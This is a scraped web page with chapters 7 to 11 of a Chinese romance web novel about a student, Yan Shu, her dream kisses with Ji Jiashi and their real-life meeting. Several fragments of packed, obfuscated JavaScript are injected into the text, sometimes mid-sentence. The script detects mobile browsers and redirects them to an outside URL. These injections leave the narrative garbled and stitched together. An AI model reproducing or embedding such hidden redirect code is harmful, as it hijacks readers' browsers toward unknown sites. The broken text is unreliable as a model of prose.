RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126983|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么小,她根本无处可躲。 两人唇舌亲密地勾缠。 燕舒觉得头好晕,她残存的理智告诉她这是可能是因为肾上腺素飙升导致大脑产生短暂的缺氧状态而导致的头晕。 她抓着纪佳时衣服的手想用力推他,但浑身软绵绵的使不上手劲,只能轻轻拍他。 真是高科技,梦里连亲吻都这么真实。 纪佳时睁开眼睛,他还不知足,他就想这么和燕舒吻下去,在一个单独的世界,到天荒地老。他看着她,喉结滚动,她此刻还闭着眼睛,不知何时留出的泪水打湿了她的睫毛,张着嘴,一顿一顿地大口呼吸着。 她的脸红彤彤的,可爱,可以比喻成苹果,想咬一口。于是,他真的低头再次凑近她的脸颊,灼热的呼吸铺洒在她的脸上,他头左右摆动在观察咬哪边,思考一瞬低头朝她左边的脸上张嘴轻轻咬了咬。 这古怪的感觉…… 燕舒睁开眼睛,她伸手将纪佳时的头推开,道:“纪佳时,你咬我干嘛!” “你是狗吗?” 她的语气中并没有生气和愤怒,带着一点嗔怪和甜蜜,纪佳时听出这一点,眼睛弯弯。 看见他的笑,燕舒刚刚面上降下的热气此刻又升起了。她不仅脸热、心热,全身都热。 燕舒想象中和纪佳时热吻的画面实现了,只是她不是主动的那个,因为她半路退缩了。而且完成之后,她有些不知所措,梦里的初吻算初吻吗?一时放肆过后,她在现实中又如何面对真正的纪佳时呢? 在燕舒东想西想中,纪佳时瞥了眼玻璃窗外,再次看向燕舒,他坐到她身边,紧紧贴着她,一双眼睛里柔情缱绻,仿佛下一秒就要见她溺死在其中。 对方太深情了,燕舒反而心虚。 纪佳时似乎捕捉到这份心虚,他伸手和她五指交握,问:“学姐,我们是什么关系?” 燕舒目光上下飘忽,她可没忘记自己还有一个正牌男友。不过到现在对方都没出现,她也没来得及探索对方是谁就和纪佳时吻了。梦境的维持需要合理性,但如果感情不深那分了应该也符合她的正常行为吧。 其实到目前为止,真正不能做的就是发疯告诉梦中人他在做梦和自以为是自己的梦境而去梦境之外探索突破世界线。 见燕舒迟迟没回应,纪佳时将头凑近燕舒提醒她,“学姐,你刚刚还吻我。” “不是你主动的吗?”说完,燕舒也惊讶,自己怎么说出这么渣的话。 “哦?意思是只要我主动,你都接受?”纪佳时面上若有所思,然后又低头主动向燕舒吻来。 此时,店中想起开门的铃声。如果是现实,燕舒不会关心谁进店了,但很显然梦里的人都会与自己产生些交集。虽然不知道为什么那桌女生暂时没有和她产生什么交集,但这个主动进店的人一定会。 那个人正走过拐角,燕舒马上就能知道对方是谁时,纪佳时挡住她的视线,手掌抚摸她的脸颊,咬住她的唇,舔了舔。 他道:“学姐,你太不专心了。” 8. 第 8 章 “你们在做什么?” 燕舒推开纪佳时,抬头往桌外看,健硕的身材、略显孩子气的脸,是陆寻春。和昨天表现出的温和不同,此刻男生冷冷地盯着她们两人,燕舒目光下移看见对方攥紧的拳头,想到纪佳时评价其“野蛮男友”和他脸上被打的伤口,心中警报声呜呜地响。 陆寻春不会打她吧? 连在梦中世界都这么野蛮霸道,燕舒简直不敢想陆寻春在现实世界中的真实人设,和他那张脸反差太大了。不过和一身的肌肉和体院出身,一切又似乎合理了。 陆寻春紧紧盯着燕舒,似乎想要她给一个解释。 “我,我是来道歉的。”她快速答道。 有时候回答的真假并不重要,甚至对方明知道你在说谎,他向你要一个理由只希望你能骗骗他。 此刻,燕舒无师自通了这一点。 ‘都是梦,都是梦。’ ‘都是假的,都是假的。’心中不断念叨,因为撒谎而产生的心虚逐渐消减。 她根本不会和陆寻春谈恋爱,这么一个有着超高武力值又脾气狂暴的人,她会下意识地远离。 纪佳时坐在燕舒身旁,本来刚刚因为她推开他而感到被忽视和不满,此刻听到燕舒的回答,刚刚的所有情绪都被抚平,甚至还感到甜蜜。 她在遮掩。 刚刚的所有,是属于她们两人的秘密。 纪佳时甚至还来了点表演欲,他自然地靠在身后的软垫上,嘴角扯出讥讽的笑,冷淡地说:“陆寻春,你把我打成这样,你不给我道歉,学姐来给我道歉了。” 说着,他凑近燕舒,压下腰将脸呈给燕舒看,指着刚刚亲吻燕舒的唇角,那有一道小伤口,“疼”。 陆寻春刚刚才因为燕舒的话而好转的脸色此刻又因为纪佳时的动作而再次阴沉下来,立马上前,捏住纪佳时的手臂将他从座位上扯开。一向稚气的脸骤然显出几分冷厉,“纪佳时,你勾引我女朋友还要不要脸?” “我打得就是你!” 在陆寻春认识燕舒之前,他就发觉燕舒和纪佳时之间的关系似乎有些暧昧,但既然没有正式的关系,陆寻春也就不在意。他大胆追求燕舒,两人终于确定关系。可是纪佳时依旧不死心,天天偷偷挖他墙角。 甚至他打纪佳时都是因为对方主动挑衅约架,自己太弱被他揍了而已。没想到,居然凭借这伤找到燕舒,想让燕舒心疼。 不要脸的小三! 他拉住燕舒的手,看着她,又换了副面孔,满是委屈和心疼,委屈自己被纪佳时陷害,心疼燕舒为了他向纪佳时道歉。 “燕舒,我们走。” “啊?”燕舒被迫站起,她还没反应过来,就见两人吵起来,陆寻春要拉着她走。 两人刚刚走出座位,被陆寻春推开到一旁的纪佳时皱眉,他拉住燕舒的另一只手,想将燕舒拉到自己身边。 “学姐和我聊得好好的,为什么你一来就要走?”纪佳时和陆寻春对视,毫不客气地问。 “我是她的男朋友,纪佳时,你又是什么身份呆在她身边?”陆寻春盯着那只被纪佳时紧紧攥住的手。 “什么身份?” “刚刚接吻过的身份。”纪佳时开口,他忽地语气温和,脸上露出笑意,看向燕舒。 “学姐,刚刚的问题,你一直没有回答我。” “我,是你的谁?” 燕舒察觉陆寻春的手臂僵直了,她努力使自己面无表情,扫过纪佳时,再慢慢看向陆寻春。她是对陆寻春有好感的,现实中他扶住她没有让她摔倒,他长得很干净笑起来特别好看,两人回校路上各种话题都能聊。他把她送到宿舍楼,她站在阳台上俯看他,朝他挥手,他也笑着挥手,然后转身离开。 她感觉,如果两人在现实中真在一起,可能会体悟“平平淡淡才是真”的爱情,会一起在学校散步,会推着购物车在超市买菜…… 但这都是在入梦之前的想法,在梦里,燕舒感觉了一个不一样的他,一个压迫感过强的他。野蛮男友固然有趣,可燕舒更喜欢可以站在酒店外给她打电话,平静地让她开门说想见她的纪佳时。 都是梦了,那她为什么还要给自己找不痛快。梦里的感情中,她就是要处于绝对上位,她要当女王。 燕舒正准备开口,突然,店里的另一桌人起身走到三人身边,她们像是吃瓜路人劝架般帮燕舒从纪佳时和陆寻春手中解救出来。 对陆寻春,几个女生摇头叹气道:“我们刚刚一直在,她们两没发生什么,你怎么能怀疑你女朋友呢?” 对啊,只是亲了一下,女人嘛,都是这样的。送上门的甜点不吃,除非脑子发昏了。 “你个小男人,还是心胸不够大。女朋友被别的男人觊觎,说明她优秀,这个时候死死抓住没用,得让自己变得更优秀才行,要努力配得上她。” “全身肌肉硬邦邦的,哪个女的喜欢,太强壮了。” 纪佳时虽然不高兴自己的真话变假话,而且要名分又没成功,但见陆寻春被指责也乐得落井下石,微笑附和,“是啊。学姐这么耀眼,就算你握在手中也会发光被别人看到,陆寻春,你太自私了。” 燕舒听得脸红,纪佳时说的真的是她吗? “我们说话,你个……插什么嘴。”和陆寻春谈话的一名女生转身看着纪佳时,面色鄙夷。 倒贴货,男小三,这里哪有他说话的份。 听了这话,纪佳时面色难看,但真没说话了,只抬头用湿漉漉的眼睛望着燕舒。 陆寻春也望着燕舒,眼中情绪复杂,既愧疚又心疼还有对自己的责怪,看样子是把几人的话听进心里了。 但燕舒此刻却没空接收他们的眼神,而是听着对面人的教导: “他们两个小男人为你吵,你就别掺和。” 说话的正好是烤肉店那个被碰瓷的女孩,她样貌可爱,身材娇小,燕舒记得现实中她面对那个中年男时神色怯懦,甚至被对方骂得眼泪汪汪,身体都在发抖。但现在,她精神奕奕,浑身上下有股说不出的大胆和霸气。 燕舒突然噗呲一笑,点头:“嗯嗯。” 是被拉入了梦境?还是梦境制造的NP ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126984|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' C呢? “同学,你叫什么名字啊?” …… 清晨,不同的地点,纪佳时和陆寻春在宿舍陆续醒来。 天色灰蒙蒙,纪佳时拉上宿舍的门帘在阳台洗漱,头顶的白炽灯明亮,照亮他的脸,水滴在他脸上滚落,水珠衔在细密的羽睫上。 看着镜中的自己,他的手指在唇上轻轻移动,恍惚又感受到那个充满甜蜜与心酸的吻。 他确定,他做了一个梦,但梦里发生了什么他忘的一干二净了,只记住了接吻的感受和留在体内的各种情绪。 抚着唇,他想到了燕舒,然后他猛地抬手给了自己一巴掌。纪佳时觉得自己有病,她就没理过他,他自己却…… ——唰! 阳台门帘被拉开,周兆鹏推开玻璃门,揉着眼睛看着纪佳时,问:“纪哥,你干嘛打自己?” 他起床上厕所,刚拉开门帘,昏沉沉的脑子被阳台的光照亮,陡得一激灵就看见纪佳时抬手扇了自己一巴掌。 “我精神出问题了。”不出问题,为什么每天一醒来各种情绪充塞在心中。 “哦。” 周兆鹏关上厕所门,点头,哦,精神出……精神出问题了! 周兆鹏清醒了。 重新回到寝室,看着纪佳时往外走,周兆鹏关切中带着求知,问:“纪哥,去哪?” 看病? “跑步。” 【陆寻春:早上好[笑脸]】 燕舒拿起桌上的手机,点开,手指刚点在键盘上,想了想,将手机息屏。 还是那个原因,她连梦里的陆寻春都接受不了,他在他们还不熟的时候就表现出了过分的强势和力量,这有点超出燕舒的掌控了,她下意识地想远离。 可现实到底和梦境不一样,燕舒又怕自己把梦境过于带入现实,假如陆寻春根本不喜欢自己呢?她就成小丑,全程自作多情了。 宿舍楼下,燕舒拿着手机在门口踱步,纠结许久,她才礼貌回复: 【燕舒:早】 回复就是礼貌,一个字代表自己的疏离。 不等对方回复,燕舒站在原地跳了跳,然后转身向操场跑去。 操场上,纪佳时走在周荣芳教授身旁。他听过周教授的课,看见她便主动上前打招呼,然后两人聊了起来。 周荣芳经常早上在操场上运动,不过很少有学生主动朝她打招呼,和她打招呼后还主动聊天的更是一个巴掌之数,更让她惊喜的是这个男生不仅长得五官端正、气质挺拔,竟然和她聊专业知识也能搭得上话。 “诶,你叫什么名字?” “纪佳时。” “什么专业的?” “法学,大一。” “可以,努力学习……” “周教授!”一道女声从身后传来。 纪佳时最先转身,明明没有接触过几次,但他就是记住了她的声音。她依旧扎着马尾,穿着运动长裤和白色运动外套,眼神明亮,额头冒着细密的汗,呼吸平稳地朝他跑来。 “学姐。”他笑道。 9. 第 9 章 燕舒看着周教授身旁的少年,他脸上挂着浅笑,眼神直直地落在她身上,叫她学姐的语调声线和梦里如出一辙,让她恍然有些分不清现实与梦境,慢慢放缓脚步。 她望着他,仔细描摹少年的脸,白皙精致,五官柔和,但因为经常面无表情,冷淡异常,所以眼神看人总是很锐利,看着便很不好接触,但此刻他眉眼弯弯,浅笑看着你。 燕舒再次回忆起梦里那个吻,他的唇很软,舌头也软,呼吸灼热,骨节分明的手指抚摸她的脸颊,带来一阵冰凉的触感。 今天凌晨下过一场短暂的小雨,此刻,清晨的空气中还带着泥土和青草气,跑道外种着好几棵白兰树,虽是夏末,树荫中的点点白兰已多数凋谢,可似乎此地还留有余香。燕舒以往从没仔细注意过这些东西,可今天她站在这里,因为见到一个人而突兀地嗅觉敏锐。 白兰香的香味清新淡雅,萦绕在鼻尖,若有似无。 电影《闻香识女人》说:“当你闻到某个人的香味,你就能感受到她的存在。”而现在,因为纪佳时的出现,燕舒异常敏感地闻到了这股平常从不会注意的白兰香。 意识到自己盯对方盯得太久,心跳也随着两人的对视而逐渐怦怦作响,燕舒有些慌乱地移开目光,努力使自己稳住心神,面上平静地向两人走去。 她招呼周教授本是出于礼貌和以往早期相遇聊天的习惯,可见到她身边的纪佳时,一时各种复杂情绪在心中滋长,脑中思绪也忽然乱成一团难以捋清的线团,站在两人面前,她竟忘了该说些什么。 所幸,周教授率先开口了。她扫视两人的神情,面上露出笑容,“你们认识?” 周荣芳走过的年岁比这两人加起来的岁数还多,只看一眼,就知道两人分明是熟识,男孩那句“学姐”,语气中的欢欣雀跃都快溢出凝作实质,而女孩那一眼的凝视分明是心动欢喜的。 所谓人老了,就容易怀念年轻的激情岁月,更喜欢看充满精神气的小年轻互相心动又含羞带怯的模样,这会让她想到她当年。 “我很早就认识学姐了,只是学姐应该不认识我。”在燕舒心中纠结该如何回答时,纪佳时开口了。 C大近年在更新教学楼和扩建校区,纪佳时因为去年作为新生入学被分到新建的三期宿舍,而燕舒所在的女生宿舍是一期,之所以知道这些是因为上次燕舒醉酒,她室友扶着她和他们分开走相反方向。 从三期到一期坐车都要半小时,何况早上七点连校车司机都没上班。可纪佳时抱着“偶遇”、“想见她”等一些突然的想法然后从心而动,从三期走到一期,他站在女生宿舍对面的实验楼下,早上的寒气吹得他皮肤冰凉,给他发热的脑子降温。 她并不认识他,他也不知道她住哪栋楼。就算他等到她,她说不定就平淡地看他一眼,然后便离开了。那样,会显得他像一个傻子。 可来都来了,纪佳时不甘心就这样一无所得地离开,他也不想走。于是,他在操场上低着头盯着脚尖脑袋空茫地走了一圈,抬头,遇见了周教授。 是了,一期这边有教师公寓。 然后,纪佳时甩了甩头,期望自己清醒些,他想起上次周教授公开课遗留下的问答,便上前主动招呼。 纪佳时觉得,这是他今天做的最对的事,因为周教授,他没有提前离开,便刚好遇见了燕舒,也因为周教授,他才有与她认识的机会。否则,就算她在操场跑步,她说不定也会毫不停留地跑过他身边。 “是吗?”听到纪佳时的回答,燕舒有一瞬的慌乱,之后便是惊讶。 她认识纪佳时很正常,因为对方是论坛名人,C大帅哥,可纪佳时怎么会认识她?她就是最普通、毫无存在感的路人甲,他们之间见面不过几次,他又怎么会记住她? 不过,如果是曾当面说过他坏话又在醉酒后在他面前胡言乱语且表白的话,那他确实会对此印象深刻,何况事情才过去几日,他学法律的记忆肯定好,认识她也正常。 但是应该只是记得自己的脸,不知道名字那种吧。 燕舒脸颊变红、发烫,感觉自己的心跳声已经大到让对面两人知晓。 “看样子,你们不熟?”周荣芳自认为自己眼神如鹰,对这些小孩的心思更是了如指掌,没想到判断出了错,明明相互喜欢的少男少女连认识都算不得,交流都那么生疏。 难不成是相互暗恋? 燕舒不知道如何回答,也不懂周教授的话题怎么就落在他们两人认识不认识、熟不熟身上。 “既然如此,学姐我们正式认识一下吧。”纪佳时迈步,和燕舒拉近距离。 “我是纪佳时,法学专业,目前大一。”他伸出手。 纪佳时比她高,离地稍远时还可以平视,可他凑近,燕舒就需要稍稍抬头。两人对视,燕舒伸手快速握住他的手,又快速松开,“燕舒,工商管理专业,大三。” 燕舒觉得现在的状况实在是太奇怪了,这‘正式认识’也太正式了,再加上一旁周荣芳教授脸上的笑,燕舒觉得她和纪佳时此刻像是在相亲,周荣芳教授就是媒婆。 看着纪佳时,鼻尖的白兰香更浓了,燕舒脸热头晕。 “学姐,加个微信?”纪佳时把手机拿出。 “哦,好。”燕舒呆呆地应声。 她做完加人的一切流程,然后看着屏幕上头像是纯蓝色的新聊天对象,有些不可置信。 在现实中,她真的认识了纪佳时。 [你在梦中所经历的一切不过是算法根据你的现实世界所推演的结果。]旅行者的话又在耳边响起。 加到了燕舒的微信,看着那张燕子头像,纪佳时面目含春,他看向一旁的周教授,语气欢快,“周教授,可以加个微信吗?” “当然可以。”周教授摸出智能手机,手指在屏幕上点了点,问:“你扫我,还是我扫你?” 她可不是跟不上时代的老太太。 对于加她微信这事,周教授是高兴的,她乐于和年轻人交流,只不过很少有人主动加她罢了。她第一节课就把手机号写在黑板上,一学期过去也只有两三个人加她。 “燕舒,我也加你,认识这么久,也不要我微信。”老太太嘟嘟囔囔地抱怨。 “好。”燕舒有些受宠若惊。 她就是普通家庭里养出的普通小孩,主动和周教授攀谈刷脸已经是燕舒人生里最‘会来事’的举动了,她望着纪佳时,心中一瞬复杂。 刚刚怦怦跳动的心此刻逐渐回归正常。 加了纪佳时和燕舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126985|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老太太捣鼓捣鼓,给两人分别发了不同的笑脸表情包,又抬头看看两人,道:“我们来拍个合照吧。” 她再拍些花,好发朋友圈。 纪佳时眼睛一亮,扫了一旁一脸懵的燕舒,道:“教授,我站中间,用我手机拍吧。” “好。” 燕舒随两人来到小公园一处月季开得茂盛的地方,纪佳时站在两人中间,燕舒站在他身侧,他将手机举得高高的,拍了几张,又扯了扯燕舒的衣服道:“学姐,再站近点。” “头往我这边偏。” “哦。” 纪佳时看着手机中的画面,点下拍照键。 “很好看。”拍完,他给两人看。 燕舒脸上还僵硬地笑着,听见对方这话,心里没信,她因为长相一般且不上镜,面对镜头时总面容僵硬,拍的照片多数没有满意的,久而久之便有些抗拒镜头。要不是刚刚周教授太过热情,她根本不会参与合照。 她低头看,愣住了,照片上燕舒嘴角微弯,目光凛凛,太阳光照在她脸上,让她显得十分明亮灿烂,身后的粉色月季也在为她做衬托。照片中周教练和纪佳时也在笑,可很明显,这是一张很偏重她的照片。 再抬头看着纪佳时,无言。 身旁老太太对她语重心长道:“燕舒,多漂亮啊你,阳光明媚的,要自信!” “是啊,学姐特别好看。”纪佳时附和道。 周教授离开了,燕舒和纪佳时一路无言走出操场,正迈出操场时,两人一同停下。 纪佳时看着燕舒,问:“学姐,我拍了好多张,你要吗?我发给你。” “谢谢。”燕舒点头。 又没话说了,纪佳时内心有些着急,他不想这么快和她分开。 “学姐,喝咖啡吗?我请你。”绞尽脑汁,他问出这句。 燕舒摇头,眼神飘忽,“学弟,我请你吃早饭吧。” “谢谢你把我拍得那么……好。” “然后,我为我之前醉酒在你面前胡言乱语……呃……道歉?” 纪佳时握紧怀中手机,感受到耳朵的高温,他看向远处的食堂,“那我们去食堂?” “好。” 莫沅提着包拿着咖啡进入办公室,他先打开电脑将一些琐事处理了,然后打开学生发给他的论文综述,看了一半,他放开鼠标,取下眼镜用手揉太阳穴。 他不能再看了,再看下去,他会缩减寿命。 他往座椅上一靠,手拿起桌上的手机,打开微信,首先看见的就是师母周荣芳发来的微信,让朋友圈点赞。他摇头笑了笑,回复“收到[敬礼]”,接着退出聊天界面点进朋友圈。 刚刚好,最新一条就是老太太发的,五张照片,一张与别人的合作,其他四张都是拍得鲜花树木,配文是“阳光明媚的清晨[小花][小花][小花]” 莫沅认真地看那张合照,照片右边少女浅笑,明媚盎然,和身后的月季很是相称。他记得她,他选修课的学生,听课很认真,一双眼睛亮晶晶地盯着他看。不过,她上次下课在电梯里莫名其妙地瞪他。 她很讨厌他吗? 扫过照片中她旁边的男生,莫沅挑了挑眉,退出这张照片。 还是继续工作吧。 10. 第 10 章 今天上午有一节早八的课,虽然因为和纪佳时的偶遇而耽误了些时间,但燕舒依旧有回寝室拿书的时间。 她推开寝室的门,发现今天张悦和钟玉树已经在收拾了,可她们很安静,钟玉树看见燕舒进来,给了她个眼神示意。燕舒这才发现,她旁边床位的主人——李梦音回来了。之前被她们瓜分的杂物空间此刻又恢复成干净空旷的模样,唯一的几本书放在桌上,它们属于李梦音。 “舒舒!我回来啦!好想你!”李梦音原本坐在椅子上玩手机,听见开门声,转头看见燕舒,立刻起身朝燕舒跑去给了个大大的拥抱。 两人分开,燕舒打趣道:“还以为你玩嗨了,忘了今天有老黄的课,做好了旷课的准备呢?” 大三下,她们的课已经不多,但依旧有。上周五,李梦音和男友出省旅游,足足玩了四天,昨晚连夜赶回C市就是因为今天她有课。 “我哪敢?”李梦音道。 她们寝室四个女孩子都没旷过课,燕舒至多在一些特别水的公共课讲到第二节时提前从后门跑了,但公然逃课旷课她还没试过。 “燕舒,我们先走了。”张悦两人走出寝室,钟玉树转身向两人喊道。 “好,等会见。”燕舒回道。 寝室门关上,她看向面无表情的李梦音,问:“你又和她吵了?” 大一时,寝室四人虽然偶有纠纷但整体还是十分和谐的,直到大二,四人的性格逐渐显露明显,相互的了解也开始加深,不合之处也爆发出来。 在这个寝室中,个性明显的有两人,一个是张悦,张扬热情,因为是C市本地人,加之家境不错,身上隐隐带了些傲气;另一个是李梦音,冷冰冰的,重组家庭且家境不好,或许是因为成长环境的影响,燕舒深入接触后发现她还有些过分尖锐。 两人似乎天生不和,性格不合、生活习惯不合、世界观不合、恋爱观不合、处理事情的态度不合…… 哪哪都不合。 更不妙的是,因为两人没有“我要忍”的交情,所以互相都不肯忍。 大二上,李梦音因为感情不顺在寝室哭,燕舒和钟玉树安慰她,但张悦回来听完就面露“果然如此”的神色对李梦音嘲讽和贬低,两人的矛盾就此彻底爆发。直到大三上,李梦音搬出寝室和新男友同居,两人接触时间减少,关系才逐渐缓和。 “我要搬回寝室,肯定要处理占我位子的东西,我把她的东西搬到她桌子上,她问我为什么不经她允许就动她东西,神经病,我当时连寝室灯都没开,打着手机光搬东西不就是怕吵醒她们嘛……” 教室后排,燕舒和李梦音用微信交流。 【李梦音:总之就是我明明占理的事,我去向酒店合理争取我的利益,但他觉得没必要,我找事。我和他吵架后冷战到现在。】 【燕舒:所以决定分手?】 【李梦音:我当时站在酒店大堂,他说的话,看我的眼神都让我特别难堪。你知道吗?我从他的眼神中读出了“嫌弃”、“鄙夷”。我当时真的特别特别难受。】 【李梦音:我当时就想给你打电话哭,但我又怕我恋爱脑发作,他只要一道歉我就原谅了他,所以就忍着没打,免得让你心烦。昨天晚上给你发是我真的想清楚了,我一定要分手。燕舒,我不想反复给你讲我家庭的那些破事,可我整个人又脱离不了那些事的塑造,我自卑又敏感,贪婪还自私,我……】 【我真的不知道该怎么说】 燕舒从口袋中抽出纸巾递给李梦音,她接过快速擦了擦脸上的眼泪。 【燕舒:分了好,一个男的能让你自我怀疑、自我反思,内耗成这样,确实该分。】 【当你从这段感情中感受到痛苦的时候,你就该离开了。】 燕舒虽然和李梦音是朋友,但她并不了解她的感情状态,一是因为李梦音喜欢隐藏自己的感情状态,二是她明白自己的恋爱脑所以不会主动去打扰燕舒,三是燕舒不喜欢插手他人的恋情私事。燕舒在李梦音与对方确定关系的前一天为她分析了两人是否合适后便没再主动追问过李梦音的情况。后面她男友还因为李梦音知道两人是好友,所以主动提出请客,燕舒也没答应过。 李梦音是李梦音,她男友是她男友,燕舒不需要认识李梦音的男友。 至于加那人的微信,燕舒也拒绝了,她从一开始就要斩断自己当传话筒的可能。 【燕舒:说个重要的,他不会让你还钱吧?】 因为家庭原因,李梦音金钱方面有些拮据,她在C大商场奶茶店打工认识对方,男生家境不错,至少两人交往后连燕舒都间接沾到了光。 李梦音摇头:“不会。” 曾凌勇别的不说,在钱方面还是大方的。 【李梦音:他给我转账,我都让他备注“自愿赠予+自愿赠与”】 燕舒笑了。 【幸好,在钱方面你不是真的傻蛋。】 “纪佳时,你来简单分析一下这个案例。” “纪佳时。” “纪佳时!” 纪佳时的手臂被周兆鹏用力推了推,他转头看向周兆鹏,眼神疑惑。 周兆鹏斜眼低头,手指朝前指了指,小声道:“老师喊你呢。” 纪佳时抬头,将手机息屏,面不改色站起身,道:“抱歉老师,刚刚走神了。” “简单分析下这个案例。” “首先明确案件的主体关系,看各方的权利义务界限……” 说完,纪佳时坐下,周兆鹏和程云向他竖起大拇指,全程走神被喊起来分析案例还能这么冷静淡然,回答得又好,逻辑架构清晰严谨,老师都挑不出毛病。 一旁,白榆切了一声。自那次吵架后,两人还没和好,能走在一起全靠周兆鹏和程云这两个润滑剂。 纪佳时又打开了微信,点进“学姐”的聊天界面: 【纪佳时:[图片]】+7 手指反复下滑,可依旧没有看见对方的回复。 是没看到消息吗?还是看见了但是不想回复?他是不是应该再主动一些?可是发些什么呢? 【学姐,你在干嘛?】 会不会太没边界感,他们还不熟,贸然问对方在干嘛似乎有点不好。 删除。 【学姐,我可以请你吃午饭吗?】 感觉有点太着急,她会答应吗?没确定对方的空闲时间就约饭,似乎不太礼貌。 删掉。 写了又删,反反复复,直到下课纪佳时都没发出一条新消息,他不由挫败。突然,他瞥到白榆,拉住对方衣服。 “做什么?”白榆刻意冷笑。 周兆鹏和程云也看着纪佳时,有点害怕两人又吵起来。 “帮我个忙。”纪佳时道。 四人随课表换到另一个教室,占据最后一排,纪佳时和白榆坐在中间,拉了个寝室群。之前他们并没有寝室群,但此刻为了解决纪佳时追女孩的问题,立刻拉了个寝室群准备群策群力。 几人了解到纪佳时追的是他们学校的学姐,别的纪佳时不肯多说,也不肯给白榆看女生朋友圈,只说学姐对他很冷淡,他们今天刚加上微信,没有回他消息,朋友圈也半月可见,什么都没有。 【周兆鹏:你们是网恋?】 “你是不是蠢?网恋会对对方什么都不了解?”程云直接开口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126986|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【白榆:你先别约饭,你要去了解对方,让对方和你熟悉,再进一步开启单独约饭的亲密流程】 【纪佳时:我知道,只是我不知道怎么去开口,我感觉发什么都很……别扭。】 几人看着屏幕中这句话,有些讶异,对那个学姐生出好奇,到底是怎样的人,居然可以拿下纪佳时,而且让纪佳时变得忐忑和小心翼翼。纪佳时的时间是很规律的,又因为他们专业课多,所以大部分时间都和他们在一起,没见他身边有大美女出现啊。 不过,纪佳时是加入了青年志愿者服务中心的,有可能是在部门认识的。 【白榆:你不要主动去探查对方的情况,你应该分享你的状态,如果她感兴趣她会主动和你说话】 “怎么做?”纪佳时虚心求教。 “发张你现在的自拍,配文:上课中。” “如果你学姐没有恋丑癖且对你感兴趣的话,她会和你聊天的。” 在纪佳时上课偷摸摆拍拍照且筛选照片时,燕舒已经和李梦音出校来到C大旁边一公寓,这是燕舒第一次来这,她打量了一下房屋布置,西式精装洋房,整体布局都不错。 李梦音收拾的东西不多,就两箱衣服和一些杂七杂八的东西。两人正走出卧室,房间大门打开,曾凌勇回来了。 他扫视屋内两人,看见燕舒并不惊讶。 “这次,你来真的?”他面色难看地问李梦音。 曾凌勇是李梦音和李梦音一样是大三,计算机专业,标准程序员外形,身高比李梦音高出半个头,家境殷实,创业中,对李梦音出手大方。此刻,他觉得李梦音简直不知好歹,他对她那么好,而她一个白眼狼,吵一次架就要闹分手。 “是。”李梦音刚刚还伤感呢,现在一看曾凌勇出现,又摆开了狂暴模式。 两人激烈地口舌交锋了一番,最终结束于曾凌勇的一句“你会后悔的!” 李梦因对此回复:“走着瞧,你看我后不后悔!” 说完,她拉着燕舒离开。尽管两人都想转身的姿势潇洒一些,但奈何带的东西太多,只能拖拉着箱子,站在电梯口看着嘭地关上的大门,对视无奈一笑。 今天帮李梦音各种忙活,燕舒只得在空闲中回复了纪佳时和陆寻春几句。陆寻春是个如名字般春风和煦的人,虽然燕舒故意回复的疏离又冷漠,但他依旧能接住她的回复,知道燕舒喜欢爬山后直接邀请她一起去野外郊游,顺便爬山。 【陆寻春:去过桃山吗?】 【燕舒:知道但没去过,太远了,需要开车自驾游才行。】 【陆寻春:四月多桃山的满山桃花开了,很美,而且桃山下是滨水古镇,也值得一逛。】 燕舒有些心动,于是回了句:【感谢分享!是个寝室郊游的好去处![笑脸]】 很快,陆寻春发来消息。 【陆寻春:[小狗委屈]】 【陆寻春:好吧。】 寝室里,陆寻春拿着手机,叹了口气。 “怎么了?”室友问。 昨天他们寝室出门吃饭,陆寻春看上了个同校的女孩子,要了对方微信,这事他们都知道。刚刚还询问几人约女孩子出门玩应该去哪。 “她隐晦拒绝了,说要和室友去。” “是不是你步子迈太快了,对方和你不熟,你就约她出门,你看看你身上的肌肉,是安全感也是威胁。” “是啊,你应该和她同其他人一起。比如我们,给你打助攻。整个寝室与寝室的联谊?” “……” 【燕舒:今天又搬东西又提箱子,好累[疲惫]】 【纪佳时:辛苦啦[摸摸]】 11. 第 11 章 第四次入梦,燕舒已经不会再被任何奇怪的地点触动心弦,可看见身旁的李梦音时,她还是有些惊讶。环顾四周,空旷的教室中,黑板上的粉笔灰还没擦,明亮的白炽光照着教室里的三人,在地上投下模糊不清的阴影。 